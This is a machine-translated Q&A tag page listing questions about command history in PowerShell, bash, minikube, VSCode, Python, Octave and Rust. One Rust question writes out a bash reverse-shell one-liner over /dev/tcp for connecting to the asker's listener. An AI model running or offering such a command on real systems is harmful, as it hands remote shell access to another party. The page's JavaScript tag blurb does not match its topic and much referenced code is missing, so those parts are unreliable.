问题标签 [command-history]

For questions regarding programming in ECMAScript (JavaScript/JS) and its various dialects/implementations (excluding ActionScript). Note JavaScript is NOT the same as Java! Please include all relevant tags on your question; e.g., [node.js], [jquery], [json], [reactjs], [angular], [ember.js], [vue.js], [typescript], [svelte], etc.

0 投票
1 回答
505 浏览

powershell - PowerShell 将历史记录作为跨会话的完整对象

我是在 Win 10 下使用 PowerShell 5.1 的新手。我正在修补历史。到目前为止,我设法在与PSReadline. *

但这是一个“有限”的持久历史,因为只有命令保存在文本文件中,在启动新会话时会读取该文件。因此,有关HistoryInfo对象的很多信息都丢失了,尤其是StartExecutionTime。然后,

  1. Get-Content (Get-PSReadlineOption).HistorySavePath给出所有没有“时间戳”的命令,并且
  2. Get-History给出带有时间戳的命令,但仅适用于当前会话。

我习惯了historyin bash,这两个点都是正确的。

这个旧文档(2009) 显示了一种可能的解决方法。在离开会话之前,我设法导出了所有历史信息Get-History | Export-Clixml $env:PSDIR'\my_history.xml'Import-Clixml $env:PSDIR'\my_history.xml' | Add-History在新会话开始时执行会恢复完整的历史记录,包括时间戳。

我想,缺少的是:

  1. 一种在关闭会话时自动导出历史记录的方法。我什至不知道这是否可能。

  2. 导入后删除历史记录中的第一行,因为它包含导入命令本身。我没有在这方面工作,但我想我可以处理它。 没有必要。如果导入命令在启动脚本中执行,它不会进入历史记录。

这是实现预期结果的可行方法吗? 如果是这样,我怎么能化身项目1?

有没有其他选择?


* 虽然我无法让它在 PS ISE 中工作

0 投票
1 回答
644 浏览

powershell - PowerShell 将箭头键绑定到命令历史搜索

在 bash 中,我可以将向上和向下箭头键绑定到历史搜索

~/.inputrc. 如果在提示符下键入ca,然后按向上键,它将把历史中匹配的下一个命令行ca作为开头。

使用 Ctrl + R for(reverse-i-search)很有用,PS 有这个。但我发现上面的绑定工作效率更高。

这可以通过 PowerShell 实现吗?

0 投票
0 回答
108 浏览

linux - 连续记录linux中的命令历史

如果我的 Linux 机器突然关闭,在 Linux终端(我的操作系统是Ubuntu18 )中键入的命令不会保存。例如,我有一个VirtualBox Ubuntu18 VM。我工作了几分钟,执行了 50 命令。仅当我键入exit命令时,这些命令才会保存在.bash_history文件中,但如果我的机器突然关闭,这些命令将不会保存。(我同意我们总是照顾我们的系统,但我想考虑即使是我不应该的这种极端情况松开任何东西

我试图找到一种方法是,如果我在终端中键入命令(可以是任何帐户和任何 tty),输入的命令应立即记录到文件或.bash_history。我不在乎它是失败的命令还是可重复(重复)的命令。

我也尝试过脚本工具,但没有运气。还尝试使用我找到其他方法并保存在.bashrc中的功能。它也有用:

还有其他想法吗??

0 投票
1 回答
242 浏览

bash - 为什么我不能在 minikube ssh 中使用命令历史记录

我的 Windows 10 电脑上有一个 minikube K8s 1 节点集群。我可以使用 SSH 进入这个集群minikube ssh

我遇到的问题是我无法使用箭头键恢复上一个命令。我做了一些环顾和诊断:

  • set -o | grep history给了history on
  • echo $HISTFILE给了/home/docker/.bash_history。这确实在用户的主文件夹中,并且该文件在exiting 并minikube ssh再次执行后存在
  • echo $HISTSIZE并且echo $HISTFILESIZE都给了500
  • echo $SHELL给了/bin/bash

所有这些都告诉我应该启用命令历史记录,但似乎并非如此。我尝试使用 Powershell 和 cmd 来运行minikube ssh,无论有没有 Windows 终端。

PowerShell 和 cmd 本身都有一个有效的命令历史记录,但是一旦使用 minikube 进行 SSH,bash shell 中的历史记录就不起作用了。

有谁知道如何在执行后让命令历史工作minikube shh

编辑: 我试过minikube ssh --native-ssh=false了,但这并没有改变任何东西。

0 投票
1 回答
293 浏览

visual-studio-code - VSCode - 如何删除命令面板中的特定命令历史记录(而不是清除所有内容)?

我想从 VSCode 命令面板的“最近使用”部分中删除几个命令,但不清除整个历史记录。如何?


因此,在 Chrome 的 Omnibar 中,您可以使用Shift+del删除建议。但是我在 VSCode 的命令面板中找不到类似的快捷方式。

我还为此寻找了一个“元命令”,但我只Clear Command History在命令面板中找到了。我想要类似的东西Edit/Manage Command History


编辑:我可以直接编辑的历史文件(类似于~/.bash_historyBash)也可以。

0 投票
1 回答
100 浏览

python - 强制 Python 从命令行更新命令历史文件?

Python我通过从 Bash 命令行发出来使用没有 GUI/IDE 的 Python 。我在 Cygwin 环境中使用它,该环境在许多方面表现得像 Linux 系统。

用于 Python 命令行发出的命令历史记录的文件存储在~/.python_history. 我可以使用 vim 的Buffer Explorer轻松搜索和拉取内容以进行操作。也很容易将操作过的内容拖入系统剪贴板,以便在 Python 命令行中粘贴。(另一方面,对于命令的更多战术性修改,我只是使用 readline 来 vim 以前的命令和单行的基础。)

我发现~/.python_history在每个命令之后都不会更新。我不确定它多久更新一次,但很明显退出 Python 会导致它更新。使用 Ctrl+Z 进入后台不会。

(是否有从 Python 命令行强制更新到的快捷方便的方法~/.python_history

自从我最初发布这个问题以来,我有机会将 Linux (Ubuntu) 视为 VirtualBox 虚拟机。但是,启动整个客户机操作系统只是为了能够以调色板的形式访问命令历史记录,而不是使用向上箭头键一次一行(或者等效地,k如果一个人的命令行编辑器是设置为 Vim)。我什至对 Bash 的“修复命令”(fc)命令的 Python 对应物感到满意,即使我必须删除所有我不想执行的行。


各种尝试

根据回复,我尝试 importing readline.write_history_file,但它未被识别,即使它readline本身是:

readline似乎确实是 Cygwin 存储库的一部分,所以我没有尝试pip install readline

  • 搜索 Cygwin 包readline(然后浏览器搜索字符串python

  • 似乎最相关的一个结果dll显示文件名中带有、pypycfiles ,但我不确定模块本身readline[s]采用的形式是什么意思。我欢迎对此进行澄清/解释。readline

事实上,我不愿意尝试在 Cygwin 包管理器之外安装任何东西,pip因为担心会产生不一致。

0 投票
0 回答
48 浏览

input - Octave 6.2,在“输入”功能中使用向上/向下箭头作为命令历史记录

使用 Octave 输入功能时,例如

a = input('Value of a: ');

并输入,说,5这当然设置a=5。当我按向上箭头访问最近的命令历史记录时,而不是返回到 ,而是再次返回到使用输入函数5定义(并且,不出所料, Octave GUI 命令历史记录窗口中没有显示)。是否还有用于访问功能按键的设置、操作或替代方法?我记得这些按键被保存在命令历史记录中,并且默认情况下在 Matlab 中可以使用箭头键访问,至少在 2010 年初的版本中是这样。a5input

这当然是一个简单的例子,但是我有一个更大的脚本,其中包含多个input函数(其中一些需要相当大的字符串),并且由于我只input在脚本运行时使用该函数与脚本进行交互,因此我实际上没有访问权限在此过程中对任何命令历史记录。感谢您提供的任何建议。

0 投票
1 回答
142 浏览

rust - 反向 Shell 中的 Rust 命令行历史

我有这段代码可以监听端口并获得反向外壳

我将如何在这段代码中实现 rustyline 所以如果我在 shell 中按下向上箭头,它将把最近的命令作为输入

基本上就像我将使用 rlwrap 运行程序但将其内置在应用程序中一样

0 投票
1 回答
116 浏览

rust - Rust Reverse Shell 最近的命令 On Up Key Press

我有这个 rust 反向外壳,它监听端口并等待连接。
然后我可以运行类似的东西/bin/bash -c 'bash -i >& /dev/tcp/0.0.0.0/55100 0>&1'来获得一个反向外壳。

一切正常,除了当我按下键盘上的向上箭头时它没有将最新的命令放入输入中,而是放入^[[A

正如你在这里看到的,它完美地运行了最新的命令!但它不会像在普通 shell 中那样将命令放入输入中。我猜那是因为它只在你按下回车时才向 shell 发送东西。

我已经尝试过像这样的 rustyline,但是当按下向上箭头或执行任何其他相关操作时,它删除了整个用户和目录( [root@arch ~]$ )。

因此,如果有可能在按下向上箭头而不使用 rustyline 并在本地存储历史记录时将最近的命令放入输入中?

所以它看起来像这样:

我正在寻求如何做的总结!
例如,当按下向上键时,它会实时更新输入。
基本上在按下向上键时实时更改输入,
例如rlwrap -cAr nc -lvnp 55100

我不想在按下输入时显示它,而是希望它实时出现在输入中

0 投票
0 回答
56 浏览

python - Python将任何输入的表达式作为字符串返回而不进行评估?

也许这是微不足道的,但我只是不知道该怎么做。

我想做的事情很简单,当我们使用赋值运算符时,像这样:

该示例创建一个str值为 of 的字符串对象'a'并映射名称abc以引用它,赋值的左侧是键,右侧是值,因此无论何时abc调用,Python 都会返回映射到键的值,如下所示:

print(abc)返回'a'

我知道变量是存储在vars(),globals()和等命名空间中的字典条目locals(),如果 Python 找到在相应命名空间中定义的名称,Python 将始终返回该值。

我想要的非常简单,在示例中,函数应该按原样返回输入,这意味着它应该返回'abc'而不是'a',它应该返回输入而不评估输入。

我只知道反过来:eval('abc')将 return 'a',我知道repr()返回值的字符串表示形式,而不是 KEY ITSELF。

我为什么要这样做?

假设我有这个片段:

我怎样才能让 Python 返回 BOTH'p1.add()'并且每次p1.add()都调用这个数字?

有点像这样:

我想要的只是一个执行表达式及其结果的字典,就像命令历史一样,但也有输出。我只知道 IPython 保留了命令历史记录。

我知道在控制台中我可以手动添加引号并使用eval(),但这是不安全且非常不切实际的,我需要手动构建所有此类表达式并且无法自动化它。

如何才能做到这一点?


该建议给了我一个错误:

print(f'{abc=}')很接近,但并不完全,但它确实证明了这样的事情是可能的。